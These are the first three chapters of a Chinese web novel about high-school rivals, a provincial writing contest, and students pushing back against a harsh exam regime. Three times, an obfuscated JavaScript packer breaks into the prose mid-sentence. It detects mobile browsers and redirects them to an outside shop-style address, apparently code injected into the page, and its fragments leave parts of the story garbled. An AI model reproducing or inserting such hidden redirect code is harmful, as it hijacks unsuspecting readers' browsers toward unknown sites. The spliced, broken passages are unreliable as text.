《少女心的骑士病箴言》 1. 卷一·花落马(一) 【楔子】 我好像遇到了一个奇怪的女孩。 说怪也不怪,说不怪也怪。 怪就怪在,明明与她性格相似的人有很多,可却偏偏是这样一个人——让人想要靠近;不怪就不怪在,我们一致地盼望明天能不能少写点字、少动点脑、多打几个照面、多有几次交谈——我们只是隔着一堵墙的“同事”而已,竞争以上,宿敌未满,关系没那么特别。 从前我对很多事情都保持一个既定的距离——不去参与,但知晓全局,可是慢慢地,我开始有了想要参与别人生活的念头。 最近家里那盆兰花开了。 之所以写这个,是因为它本该在几个月前就被丢掉的——家里人都忙着,甚至忙到忘记交代佣人照料这盆花。 我偶尔遇到它,如果不赶着去上学或者是去补课,就给它洒点水,本以为命数将近,可它却在这样的时刻开了花——顽强而洁净的一两朵白花。 漂不漂亮,我说不清楚,但至少在院子里那么多名贵的花里,它身为兰花居然一点也不显眼。 后来,也就是昨天,它被我姐朋友在庄园里寄养的白马啃掉了。 我时常打电话问我姐,陆哥什么时候回来,也就是问这匹马什么时候回去,哪怕是移交俱乐部帮忙饲养和训练,也比待在庄园吃花要好。 她在北城上学,总说陆哥很忙,再等等。 我问她,这两者有什么关系吗? 她说没有,她说很多事情都没有因果。 我见过马踏花来惹一蹄子的蝴蝶,见马嚼花还是第一回,想到这样好不容易盛开的花儿在马胃里被胃液浸润得稀烂,真是犹见可惜、暴殄天物。 原来这就是命运。 遇见的终会遇见,消散的终会消散。 它再怎么对抗天命盛开,终究要被意外带走。 那个奇怪的女孩说我这人过于悲观。 是悲观,不是现实,因为也许她也发觉我对某人有一丝幻想的歹念。 我不知道我想要与她靠近究竟出于怎样的动机,但至少一定不会纯良,可至少,让我再盛开一会儿吧。 不知什么时候,我们在一条长长的走廊上抓住了对方的名字,酒过三巡,才发现是大梦一场。 青春是甜橘,也藏苦枳,久了之后,才能从记忆里品出苍凉的香。 | “有些同学,读是读懂了,但是表述得太口语化,踩不到得分点,很遗憾,但活该,”肚子像开了鱼眼滤镜般大腹便便的中年教师一边讲,一边小碎步抖动着挂在腰上的钥匙,最后站定在姜岁安桌边,“还有些同学,太固执、太理想、太自以为是。你连出题老师想问你什么都看不出来,你怎么——” “轰隆隆——” 他的滔滔不绝被一阵雷声打断。 姜岁安顶着一个星期没擦的镜片和油头,虽正襟危坐但还是忍不住向窗外瞟那被风吹得横七竖八的树。 有管不住嘴的学生,长长“哇——”了一声,陈建材一个脑蹦就敲了上去。 姜岁安看着自己答题卡上现代文阅读主观题给分栏上大大的“0”,感受着陈建材那“欲言又止”的目光,意识到对方正在阴阳自己——后半句。 陈建材清了清嗓子,重新回到讲台上,放下卷子喝了口茶,继续讲着试卷。 姜岁安整个后半节课都心不在焉地思考着他的话——太执着、太理想、太自以为是。 她飘逸潇洒的行书侠客般劈开白白的路,躁动地跃然在纸上,一掌被陈建材拍枕在答题卡: 答:我认为作者将“女织”和“女性生育”视为女性“完整体”的要求过于片面,理由如下: 1、现代社会的性别分工已然发生改变,女性不再被束缚于家庭服务,而是通过劳动参与社会生产活动. 2、对于“女织”的怀念,实际上是男权社会对女性无收入付出的道德裹挟. 3、在鉴赏作家对特定群体情绪和思想描写时要存疑,警惕美学叙事中的性别规训. 三句,零分结局。 姜岁安其实是有些不服气的,她觉得自己一有理有据,二没胡编乱造。 她当然知道出题者希望得到什么答案,无非是些爱与怀念的矫揉造作,可这不是她读出来的,又为什么是正确的? 窗外那暴雨依然激情澎湃地击打着汐城。 下课铃打响,因为下暴雨,大课间跑操取消了,高三的同学们被安排在教室自习,陈建材点名让姜岁安跟着自己去办公室。 岁安的鞋底花纹不算复杂,很滑,所以她在被淋湿的走廊上只能蹒跚,一步走一步站定,艰难地跟上陈建材臃肿但灵活的身子。 陈建材推开办公室门,在位置上坐下,打开水壶又饮了一口茶:“你也知道老师找你是说什么事吧。” 岁安点了点头。 他又抿了口茶,道:“老师呢其实不认为你错,老师是新青年,读过书,知道你是什么意思。但是姜岁安你要记着,‘阅读理解’四个字,不是问你‘知道了什么’,而是问出题人‘想要你知道什么’,你不能带着自己强烈的主观判断去阅读、去思考,明白了吗? “文学需要批判,语文,不必要。 “你政治考那么高,马克思历史唯物主义学哪里去了,真是的。” 岁安眼睛睁地圆圆的盯着他头顶的地中海,脑子里播放一休的主题曲,开始神游,应付道:“我知道老师,在考场上我也有想到参考答案的思路……” “嗯嗯,那你为什么不写呢?”陈建材眉头皱得要把眉毛连成一条,反问她。 “我良心过意不去……” 陈建材扶额苦笑,突然拍了下大腿,说:“良心能当分数吃吗?你上了大学之后随便你怎么解读这些文章啦,但是在高考,你必须按照规范!别老写些敏感的东西……话说你试卷上写一份答题卡上写一份不就好了吗。 “Over!”他看着姜岁安欲要辩解而张开的嘴,立马打断了她,没让姜岁安继续说下去。 姜岁安是他从高一带到高三的,她什么脾性,陈建材心知肚明,更何况他知道自己打嘴仗肯定拗不过她。 “但你也别太难过,跟你一样的,文一的同学也不少。本来呢,你跟隔壁夏静雯都很有希望单科冲到联考第一的,但是你俩这题答得都不好,人家还好一点,补了句‘对母亲的怀念’,拿了两分,”陈建材滴溜圆的小眼睛扫了扫姜岁安,静静道,“我说方知言那小子就比你俩机灵,平常语文都是你跟小雯两人打擂台,这次被人家袭夺了吧。” 夏静雯? 她的印象里,夏静雯是个身材高挑的长发女孩,总扎着高马尾,明媚而活泼,静若处子,动若脱兔。而且是汐城一中连续两届文艺比赛中的古典舞冠军。 她们互相知晓彼此,但也只是在走廊上遇见会歪头打招呼的程度。 方知言? 姜岁安在回想自己与他有什么交集,发现并没有。 两个班只一墙之隔,她清楚有这一号人,但真正见面的次数却很少。相知于名,却无实。 她只知道,他明眸善睐,成绩很好,除此之外,就只剩下一个总被别人打趣的“书呆子”外号。 而且他姐是方知语,超级厉害的一位传奇女子。 这样的人能答好这样的题,也不是什么怪事了。 岁安知道以一道题目给人定性是很不负责的,但……她为什么需要对他负责呢? 方知言抢的语文单科状元,是她的。 她对这一名誉莫名生出诚恳的占有欲,似乎是瞧不起方知言,但转念一想,没什么瞧不起瞧得起一说。 陈建材知道姜岁安表面阳光开朗,但其实心思比谁都细腻,看她呆若木鸡以为她在内耗,于是赶紧为自己的批评找补了几句:“加油,老师相信你的实力!不过……这次叫你来不只是为了这个事情,还是因为省里有个写作比赛,国庆现场比赛,我们每个老师有五个学生名额,你们班我就选了你跟何佳,一班我挑了夏静雯、方知言和蒋翼铭……你们都给我争点气哈。” 他从抽屉里抽出五张报名表,让她转告一下其他四个人。 毕竟是在同一楼层,即使不熟,姜岁安也清楚地知道一班的“他们”谁是谁,于是应下来。 但对于转告自己班上的何佳,她总有些尴尬。 姜岁安与何佳并不对付,倒不是因为有什么大过节,而是因为何佳总似有似无地朝她释放敌意,带着一种疏离和警惕。 姜岁安自认为自己和蔼友善,没害过什么人,也没被什么人害过,活得潇洒。她想,没有人能得到所有人的喜爱,她不主动妨碍何佳,也不热脸贴冷屁。 所以虽是同学,两人却没怎么说过话。 可她还是接过了报名表。 “对了,我等下一班的课,你回班的时候帮我把试卷和茶杯带去吧,”陈建材指了指桌上的东西,一拍脑袋,“哎呦我自己顺路下来的时候忘记放过去了,麻烦你了啊岁安。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276472|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜岁安嘴角微微抽动,已经想好等下怎么跟朋友们吐槽了。 她拿起陈建材的水杯和试卷,连跑带走地出了教师办公室。陈建材叮嘱道:“慢点,别跑!地上滑!” 她虽总爱与陈建材顶嘴,但打心底来讲,是很尊敬这位总带着调皮劲的特级教师的。 那雨还哗啦啦下着,风裹挟着雨的腥味斜着吹到廊道上,将姜岁安身体一侧打湿。 她敲了敲一班紧闭的教室门,推门而入,把陈建材的东西放在讲台上,又小心翼翼地把夏静雯、蒋翼铭两人拉到教室外,给教室沉寂得只剩“桑蝉食叶声”的环境里,留下了几个水脚印。 这太可怕了。 雨点稀疏却遭不住那风总把它们往走廊上送,她废话不多,匆匆递了报名表、解释了缘由,问:“那个,方同学呢?” 蒋翼铭往里瞟了一眼,指了指教室里走廊靠窗坐着的白净男生:“喏,刚回来。” 姜岁安道完谢后小跑到窗户边上,也没等方知言反应过来,就压着声音说了起来。文一的环境安静到诡谲,姜岁安只好把声音越放越低,越说越近,直到方知言的头发挠到了自己的脸。 “同学,你离我太近了。” 姜岁安倒吸一口凉气,他手上学校洗手液和冷水的味道钻进鼻腔。姜岁安抽走脑袋,目光却落在了他提前准备好的联考试卷和答题卡上——试卷上写一份答案,答题卡上写另一份答案。 “原来你也觉得这文章有问题啊,我还以为你……。” 方知言眨了眨那双纯洁又有少年气的眼睛,小鹿一般的眸中虽无泪,却羞蒙了一层闪闪的光潋。 他突然红了耳朵——这下轮到姜岁安无辜地眨着不乖的眼睛了。 意识到自己的失态,姜岁安转身就要跑,脚下一滑,摔了个狗啃泥。 起身抬头时,对上方知言起身低头往下看的目光。 她最后视死如归地爬起来,逃也似地溜走了。 她没看见,方知言准备拉她起来的手滞留在空中,沾了雨,才悻悻收回。 姜岁安逃回班级的短短十秒之内,想了很多事情。 她确实应该听听陈建材的话的——别跑!慢点!地上滑! 一墙之隔,自己班的氛围明显要活跃许多,虽有班长在讲台上坐镇,底下窸窸窣窣的声音也不少。 姜岁安把报名表一张放在自己桌上,一张递给正在订正错题的何佳。 “何佳,陈老师推荐了你去省里参加作文比赛,这是报名表。”姜岁安转述道。 对方简单地回答:“谢谢。” 女孩利落短发下的脸至始至终没有抬起来过,手上的动作也只在听到姜岁安叫自己时顿了一瞬,她挪动着左手悄悄地盖住了答题卡上写着的分数,像是母狼护着孩犊。 她有一个小笔记本,上面记录着每次考试自己和姜岁安的成绩。 她喜欢在成绩单传下来的时候琢磨每一个在自己名字之前的同学的成绩,观察他们的学习方法,但她不愿意把自己的东西分享给别人。 姜岁安没看见她的动作,回到自己的座位上翻起了《红楼梦》。 这是她的习惯——没有跑操和小练的大课间,她都会在座位上看书。不过她已经被年级主任没收了三本课外书,这是第四本。 教材推荐阅读书目,这下总不该收了吧,她如此想着,咬着指甲沉浸在黛玉的菊色诗赋之中…… “第二排里面靠窗那个女生!在看什么,拿过来!”一道厉声就着轰隆的雷声朝姜岁安袭来,她被吓了一跳,咬到了手指。 她灰溜溜地拿着书走出去。 “怎么又是你,”教导主任李主任扶了扶红框眼镜,拿起她手里的书翻了一下,有些无奈地双眼上翻看着姜岁安,说道,“收起来吧,没剩一年就要高考了,别再看闲书了。” 她今日竟如此温和,姜岁安想。 何佳看着姜岁安抱着书灰溜溜走回课室,攥紧了握在手里的笔。 “诶,岁安,AAA建材陈哥和灭绝师太没有为难你吧?”姜岁安后座的女生戳戳她的背,轻声问。 “没有,可能是也烦那风吹雨到人裤脚上吧——他们让我下次注意。”姜岁安轻声回。 “你裤子怎么回事?” 姜岁安叹了口气,说:“马失前蹄。” 不知怎的,她脑海里立马浮现出方知言的脸,或者说,他的那双眼睛——不安、恼火、尴尬、关切、欣喜——亦如此时此刻的自己。 2. 花落马(二) 汐城一中教学楼布局按楼层分年级,按楼栋分文理。 班与班之间挨着,按照成绩,由重点班打头,再从平行班中分出三六九等。重点班是“一班”,其余班按照排名依次向后推,文一理一是话事的大哥大嫂,小弟们在学习上的话语权层层稀释,“一二三”也不成无差别定类,而变成实打实的排名了。 校方美名其曰“便于针对性教学”,其实是教育改革下的顶风作案。 理科班姓“理”,文科班姓“文”。 姜岁安选文——单纯因为文科好。 分班的时候指标是全科,姜岁安被物化生拉了后腿,进了文科二班。主科里,她数学最不稳定;副科里,她地理丢分最多。 但姜岁安的语文和英语很好,每次都能把数学的窟窿补上,这让她在二班里几乎没有掉出过前三,实力处在一班的中等水平。 刚开学就联考让无数学生叫苦连天,遇上雨季,衣服和心情都潮湿而沉重。 但好在,国庆拥抱着晴天短暂地光临了汐城——这座半生雨雪,半生晴天的海滨城市。 对一中的高三生来说,国庆假期足足有不被克扣的七天;对一中的岁安来说,这七天里要刨去半天参加比赛,这让她心情十分不爽。 但假期和比赛如约而至。 出于安全和便于管理的需要,汐城一中要求参赛选手一律身着校服,带上参赛证明,由各班科任老师领队。大巴车上,有人唱歌有人讲段子,虽有五音不全和冷笑话不断的人“毛遂自荐”,但总之,气氛是愉快的。 何佳一路上都没有说话,只是静静地透过座椅缝隙看方知言;方知言一路上也没有说话,只是静静地透过有些脏的车窗看汐城十月的海和天。 这海还有个浪漫的名字——愿海。不过,爱传鬼故事的人更喜欢叫它——怨海。 姜岁安觉得,两个名字都挺好的——都能拿来讲故事。 姜岁安有些晕车,又时值午后,困意绵绵,上车之后就歪着头睡觉了。 车停靠在汐城文化馆正门口,陈建材下车的时候拍了下姜岁安,示意她醒醒。等人到齐后,他带着五人进入场地签到。 这时距离比赛开始还有两个多小时,他们来的最早,候场室里还空无一人。陈建材让学生们把背包放在候场室里,领着他们四处参观。 “没人偷东西吧。”蒋翼铭问。 陈建材道:“这候场室本来就是给你们放东西的,法治社会,能丢什么。” 何佳的心咚咚地跳着,没有说话。她中途以“去卫生间”的理由离开了大家的视线。 何佳独自一人回到了候场室,盯着姜岁安的浅蓝色背包愣神。她吞了吞口水,脸上热得像是被烈焰灼烧,痛苦却又无奈。她警惕着周围一切声音,确认没有人后,悄悄地将手伸向姜岁安的背包。 何佳伸手解开那背包的拉链,齿轮摩擦的声音刺激着她颅内紧绷的弦。她翻出里面的笔袋,把替换的笔芯都藏在自己的口袋里,又把中性笔扔在地上反复摔了几次。 做完这一切之后,她如释重负地把姜岁安的东西重新放回包里。 方知言静静地倚在门上,将一切尽收眼底,但他没有急于拆穿何佳的把戏,而是在她转身之后假装自己刚准备进门拿东西。 何佳被他吓了一大跳,努力压制住沉重的呼吸,逃难似地躲了出去。 方知言思索了一阵,本不想多管闲事,却还是从自己笔袋里翻出了两支替芯插在了姜岁安背包两侧空格显眼的位置上。 他只是回来拿水杯的。 回归大部队后,他凑近姜岁安,提醒她:“小心身边的人。” 这句话让她觉得莫名其妙。 可当姜岁安发现自己的背包和笔袋被人动过时,才明白他什么意思。 她与夏静雯和蒋翼铭没有太深交集,那么所谓“身边的人”,就只有何佳一个了。 姜岁安蹙眉,烦躁地搓了搓手指,并没直接找何佳讨要说法。 陈建材带队,像个老父亲一样千叮咛万嘱咐:“大胆写,试题都是很开放的,沾边就行。发散你们的思维,调动你们的脑细胞!没素材就拽文采,没文采就造情感,再不济就上上高度唬一唬他们。总之,要让评委老师看到你们的态度,知道了噻。还有,等下赶紧去上个厕所,紧张也别光顾着喝水。写作的时候你是很难注意到时间的,所以不要轻易上厕所…… “说你呢蒋翼铭,还喝。” 喝着水的黑皮男孩蒋翼铭突然被点名,咽下去后朝大家不好意思地笑了笑。 “请参赛选手入场……”广播里循环着机械的女声。 陈建材的担心不无道理,开考没二十分钟,蒋翼铭就举手示意要去上厕所,同班的夏静雯见状偷笑了一声。 姜岁安抽到的主题是“青春”。 她觉得,它包含着空间与时间的互动联系,还夹杂着各种关系的情绪,它可以是仰望者的憧憬,也可以是过来人的追忆…… 她本以为这是很好写的,可却在落笔时犯了难。 过来人…… 一个灵感撞上了她的心脉,姜岁安提笔,在作文纸第一栏居中写下题目——《觊觎风的云海》。 在列大纲的时候她发现自己的笔有些卡顿,于是换着写了写,幸好还有能顺利出墨的。 笔声簌簌。 ——葱茏绵长的岁月里有说有笑,如今许多都已淡忘,哪怕是自己的初心,也溺了水找不到踪迹……但就算是“刻舟求剑”,那剑也依旧在水里,只是锈了去。 句号落笔,结局已定。 她瞧着右手中指第一个指节处的茧子被磨泛了红,甩了甩发麻的手腕,在确定没有错别字之后举手示意交卷,此时距离比赛结束还有十五分钟——她决定去外面透透气。 陈建材见姜岁安早早地就出来了,于是询问她感觉如何。姜岁安说不上来,但还是告诉陈建材:“我觉得,还行……老陈你放一百个心吧,不会给你丢脸的。再说了,我不行不是还有他们吗?” 陈建材批评她:“这么讲就没志气了啊,你是我的学生,拿出点野心和激情!”他单手握拳,做出“加油”的姿势。 两人在候场室里躁候了十几分钟,方知言等人陆陆续续地收拾好东西赶来了。 陈建材拍拍胸脯说请他们吃烧烤,于是将他们带到了一个露天的音乐餐吧。 坐定后,姜岁安拍拍何佳的肩膀,示意她跟自己走。她注意到她僵住的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜岁安知道自己背包侧口袋里的笔芯是谁给的,于是把它们物归原主:“谢谢你,虽然没用上,但还是很感谢你,方同学。” 方知言从她手里接过,也没说什么。 餐吧的驻唱歌手声音十分动听,可姜岁安却完全没有心情欣赏。 夏静雯与蒋翼铭滔滔不绝地跟陈建材讲着有关比赛的种种、方知言带着耳机在用MP3听BBC、何佳从背包里拿出了《五年高考三年模拟》假装奋笔疾书其实一个字也看不进去…… 与何佳对峙时那砰砰乱跳的心脏还在离腔出走着,偏离了正常心率轨道。 “串来喽!”热情的服务员一边吆喝,一边把手上的大铁盘摆在圆桌正中间。 生蚝、羊肉串、牛肉串……纷纷排队上了桌,陈建材让大家以王老吉代酒,庆祝他们“凯旋”。 她是极喜欢吃烤串的,可这串在今夜却像隔了好多天的死肉佐以各种香料去掩盖腥臊,明明不管怎样都应该是有滋味的,但在她嘴里,又宛如富有纹理叠加的纸。 难以下咽,味同嚼蜡。 她抬头,却发现方知言在看着自己。 姜岁安现在没什么心情去揣测他的想法,只知道自己应该是挂脸了,不然为什么连方知言这种不食人间烟火的都要朝自己投以关照的眼光。 方知言有意无意把目光放在姜岁安身上的时候,何佳时不时会瞅他几眼。 而姜岁安不动声色地观察着何佳。 3. 花落马(三) 作为一个从县城小村考到城里读书的姑娘,何佳本以为,只要努力,就一定会有回报。 她不喜欢那些终日叽叽喳喳成绩却名列前茅的人,更讨厌班里同学对隔壁方知言的打趣。 她的少女时代里自然也有那样天之骄子和酸涩暗恋的书籍,但方知言不一样,他不是无所事事就能夺得桂冠的人,他努力、上进、谦逊、平和——他集所有这个年纪男孩所不具备的美好品质于一身。 她对方知言本无感,可她觉得他们很像,这种“慰藉”和“动力”,被她模糊成了“喜欢”,融成了少女从高一而来的酸咸的暗恋。 他成绩比他们都好,不是吗? 为什么只靠努力的人要被嘲笑,只靠才华的人能得到盛赞? 凭什么?她不理解。 所以她并不喜欢姜岁安这样天真灿烂又浪漫的理想主义者,甚至觉得这样的人虚伪而招摇,是枪会打的出头鸟。 或许,对方知言的维护,只是她保护自己的一种方式罢了。 但当她知道方知言是富二代以后,这种单方面的“惺惺相惜”就变了味。 那是一个风和日丽的早上,学生们茫茫地铺在操场上,秋老虎是再适配年轻躁动的背景不过,她与许多学生一样排着队准备上台领助学金,可却见到方知言笔直站在台上,身旁挨着一个西装革履的中年男人。 她本以为他只是作为学生代表特别上台发言的而已,可是这一个男孩、一个男人的眉眼太过相似。 那是一种来自骨子里的自卑和不安,需要她调动一些伪装来抵御。 那男人说自己是汐城一中助学项目的投资者,他说他姓方。 何佳忘记了自己当时拿到那装着现金的信封时自己是怎样的表情,但一定不比坐在这里同这些衣食无忧的人陪笑好。 对于姜岁安的敌意,源于高二的一场考试,而这场考试,姜岁安甚至都没能参加。 那次何佳超常发挥,她的名字第一次出现在班级成绩表的第一位,正当她看着成绩榜班级分栏抿嘴高兴时,一阵议论声打断了她的思绪:“啊,怎么是她啊……不过姜岁安生病了,不然的话她才应该是第一吧。” 他们的声音很轻,可依然扎得何佳喘不过气。 那天班主任在班会课上特意表扬了她,说她进步很大,让大家向她学习。何佳听着四面而来的掌声,只觉得违心。 她本以为今天的自己会很快乐,可不是的。 她很痛,全身上下都很痛。 忮忌这种伤疤是难以愈合的绝症,它会将心脏里属于自己的地方用带刺的枝桠填满,从此以后,只有他人的风吹草动才能惹来心跳的悲喜。 从那时起,她就把姜岁安当作竞争的目标,在这场单方面的战争里,她已混乱了自己的情绪。 …… 汐城一中的分校在这个学期正式开始招生运营,原高三的年级主任被调任去做了行政校长。 新的年级主任姓李,是位雷厉风行的女教师,她新官上任三把火,把原本就压榨人的双周考制度改成了周考制度、并在教学周里每两天穿插单科的晚自习测验、规定每个人在电话机打电话的时间每次不能超过三分钟。 所以汐城一中高三生的一轮复习节奏就成了——前脚的试卷没有讲完,后脚的试卷又马不停蹄地奔来。 老师们不得不讲卷子——出卷教师的键盘“噼里啪啦”地响着。 学生们不得不写卷子——印刷室的机器“哗哗”地工作着。 老师们不得不批卷子——按照数量分配好的试卷“唰唰”地被装到试卷袋里。 学生们似多米诺骨牌般传递着试卷和答题卡,一切都形成了闭环。 有的人打趣,汐城一中的管理层已经由民主退步到专制了。 而姜岁安与这灭绝师太的交集,只有被收了一本接一本的小说,写了一遍又一遍的检讨。 她也不大在意检讨的形式内容了,只当是在练字。 李主任恨铁不成钢地评她:“有才无德,敷衍至极。” 姜岁安表面临表涕零,实则觉得这是莫大的嘉奖,望着卷子上的白底墨花,一时间有些恍惚,仿佛这花真长出了黑色的血肉,缠在太阳上招来月亮,月光洒进教室,洇湿墨香。 姜岁安的班级里有人喜欢用墨水写字,每每晚测时,教室里弥漫着一股子油墨味儿,混着些微的汗气,像极了旧报纸堆在阴雨天发了霉。 没来得及换成护眼灯的日光灯管在夜里不知倦怠地工作着,惨白的光打在每个人脸上,都显出几分青灰来。 姜岁安伏在课桌上,额头抵着冰凉的桌面,试图通过凉意来让自己清醒起来,可眼皮还是沉重得像是灌了铅。数学卷子还摊在眼前,那些数字和符号在余光里晃动着,渐渐模糊成一片。她从笔袋里拿了风油精抹在鼻下,试图让自己清醒过来。 她已经记不清这是这一个月以来的第几场数学晚测了…… “嘭!” 一阵响动伴着桌子摩擦地面的“滋啦”声让她真正意义上地醒了。 “啊!”不知是谁叫了一声。 岁安顺着声源望去,是班里一位瘦小的女孩晕在了地上。 她倒下的时候身体撞在了喜欢用钢笔的同学的桌上,墨水瓶掉在她头部不远处,墨色的汁水摊成寂静的小泊,就好像是从她颅内挤出的脑浆。 她身边的同学蹲下着急地叫唤着她的名字,但没敢动她的身体。 姜岁安抽出一打纸巾去吸墨水,怕流淌的汁液染到她的头皮。晚饭吃多了的她胃里一阵恶心。 这日老师们去开教师大会了,没人在课室,姜岁安蹲下身子,让周围的同学把女孩放在自己背上,将她背去了楼下校医室。 教室里的人被这动静吓醒了大半。 下课铃打响,试卷收上去后,姜岁安也从校医室回来了。 女孩的头发上还是沾了墨水,蹭在姜岁安白色校服上,留下了几块黑色的斑印。 与姜岁安同样今天值日的同学挽着她的手说:“岁安,心晴没事吧。” 姜岁安说:“楼下医生已经打了医院的电话,希望没有事吧。” “我觉得这考试他妈的频繁得有些离谱了,这么下去是真想把我们搞死……我真的不理解,一中什么时候在一轮复习就铺天盖地地刷题,双周测已经够恼人了……毕业的学长学姐们都觉得离谱。”那位同学说。 姜岁安还没有从女孩倒下的那个场面里完全脱离出来,现在想想还是心有余悸,她回答:“不知道领导怎么想的,身体不好的人根本受不了这样的压力,心晴也不是我们班第一个倒下的了……我反正没有一点时间复习,知识点也是碎在脑子里的,真不知道自己的身体还能扛多久。” “嗯。”女孩默许着她的话。 其实在说到“心晴也不是我们班第一个倒下的了”这句话的时候,姜岁安心里有些复杂——因为第一个倒下的人,是何佳。 班里人人都知道,何佳是很拼命的一个人,似乎什么时候见她,她都在垂着头学习。而自打比赛那件事情以来,她就更加卖命地学习了。 据说,她每天只吃中午一餐饭,就为了早上能多抽点时间给早读,傍晚腾出时间来复盘。 姜岁安虽对她有所心悸和防备,但那个瞬间,真当她胃痛抽搐地倒在自己面前时,还是为她感到担忧。 进过一次医院的何佳也不敢再糟蹋自己的身体了,于是虽然还维持着高强度的学习模式,但一日三餐也会按时吃。 她发黄的脸渐渐充起血色,动力也越来越足。 她身边的女孩想起什么似的,说要回班拿东西,就与她草草分手了。 姜岁安低着头往宿舍走,迎面撞上同样低着头看书的方知言的……胸膛。 脑袋闷闷的。 姜岁安蹲下身子帮他捡起落在地上的单词卡片,方知言清楚地看到她背后洇干了的墨迹。 他说:“同学,你衣服脏了,”说罢,他从书包里拿了一支小小的清洁剂,“平常袖子上沾了墨用这个一下就能溶解,要是直接洗的话肯定是洗不掉的,你先用用吧。” 她不知道他葫芦里卖的什么药,要三番五次帮自己,但还是客气接过,留下一句谢谢。 方知言一直以来就是如此助人为乐之人吗? 岁安望着他的背影,诚惶诚恐地批评自己:姜岁安,你又以小人之心,度君子之腹了。 …… 自从上了高三以后,姜岁安的头发就一把一把地掉。洗头的时候,沾了水的发丝被捋在手上,很轻易就能揉成一个扁球,像是一团死去的海藻。 可怖,但因为有根线拉着她向远方,才让痛苦不再可悲,甚至带有些英雄主义色彩。 能走到这里的,本身就已经很了不起了。 洗完澡出来,姜岁安试了试方知言给自己的那东西,果真如他所说,见效很快。她决定记下品牌回家囤点货,却发现瓶身上一个中文或者英文字符都没有。 正当她愁之时,舍友们叽叽喳喳的讨论扯着姜岁安的思绪。 她们在讨论校运会的事情,问姜岁安有没有参赛打算。 她摆摆手:“算了吧,我这种体测堪堪及格的人就不去凑热闹了。” “最后一届了,岁安你真无趣。” 姜岁安收拾好东西上了床,心满意足地盖上被子,在窄窄的床上狠狠伸了个懒腰:“运动这种事情跟我一毛钱关系没有,床才是我唯一的归宿。你们也别装了,除了大吉要去跑个大满贯,谁都不是奔着运动去的吧。一个要去看学弟、一个要穿漂亮衣服参加街舞社的快闪、一个要跟小男友甜甜蜜蜜。” 话音刚落,宿管阿姨“啪”一下伸手进来关了她们宿舍的灯。 四周暗暗的,唯有何佳的床铺泻出一笼灯光。 姜岁安戴上眼罩,习惯了伴着窸窸窣窣的翻书和动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276474|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔声,沉沉睡过去。 起初也会觉得心烦意乱,甚至吵过几架,但骨子里的自傲和身体上的疲倦让她不得不忽视何佳的所作所为。 校园运动节在每年的初秋举办,原则上是全校参与,但今年,李主任在教师大会上拍板决定,不允许高三的学生参加。 “高考迫在眉睫,不要整这些乱七八糟的东西扰乱学生的心!” “李主任,你这样只会让孩子们更加学不进去……” “那更要锉锉他们的锐气和浮躁了!反正这件事就这样定了,校董那边我也已经打过了招呼,陈老师,你就不要再维护他们了……你惯着学生,他们的成绩会惯着你的奖金吗?他们的成绩会惯着一中的形象吗?他们现在一次考得比一次差,我怎么能放心给他们安排课外活动?” 陈建材忍不住怼她:“汐城一中在学生高三的备考中从来没有设置过这样不合理的考试制度,这才是学生成绩下降的根本原因,而不是适度的娱乐活动!” 许多老师都赞同地点头,与身边的同事窃窃私语。 李主任推了推自己标志性的红色眼镜框,说:“陈老师,我在上一个学校就一直推行着这套体系,一年照样十几二十个S大,重本率百分之一百。这就说明了,不是考试不行,而是一中的学生缺乏训练!您不要再试图说服我了……” 陈建材拗不过她,灰溜溜地坐下了。 消息这个东西就像是瘟疫,一丝风吹草动就会感染整个年级。 通知一经传出,哀嚎遍野,抱怨几乎要掀翻整个教学楼——“为什么”和“凭什么”占据了话语的高地,骂娘的许多哭爹的也有,一时间“拒绝”的意见气候笼罩着汐城一中。 但这样言语上的反抗对于管理者来说无非是小打小闹,宛如隔靴搔痒。他们知道,只要预防针打好,再拖到活动结束,就不会有什么大问题。 令姜岁安感到不快的点其实不仅仅在于这一件没有征兆和先例的改变,更在于这两个多月以来被摧残得太多。 这个主任上台以后,他们从高三刚开学就三天一小考两周一大考,没有任何娱乐活动,学习环境压抑得让人窒息。 一轮复习中大部分学生的基础都没有打得很牢,过多的考试占用了他们系统复习的时间,以至于学生的成绩呈普遍下滑的趋势。 不仅仅是老师,学生们也大多想到了这个问题——题海战术在现阶段是舍本逐末的。 姜岁安找到与之有一墙之隔的夏静雯,对她说:“同学,我有一个想法。” 她趴在夏静雯的耳畔,用手掌掩盖住说话的声音:“我想……” 两人一拍即合。 晚自习上,一张正面写着学生诉求和理由,背面签着名字的A4纸在各个班的教室里静悄悄地传递着。 姜岁安知道,人这种生物,就像是捆绑在一起的火柴,是一种隐形的团结。这种团结有一个前提,就是有人牺牲自己成为火焰。 她之所以找到夏静雯,是因为她觉得,她们是相似的人。而夏静雯之所以答应姜岁安,也正是因为她觉得,她们是相似之人。 陈建材能在姜岁安面前提起夏静雯,同样的,也会在夏静雯面前提起姜岁安。 姜岁安和夏静雯在每个班都随机找了十几个同学,争得同意后在成绩网上调了他们这两个月十五次全科考试成绩。 姜岁安约她周末在重逢书店会面。 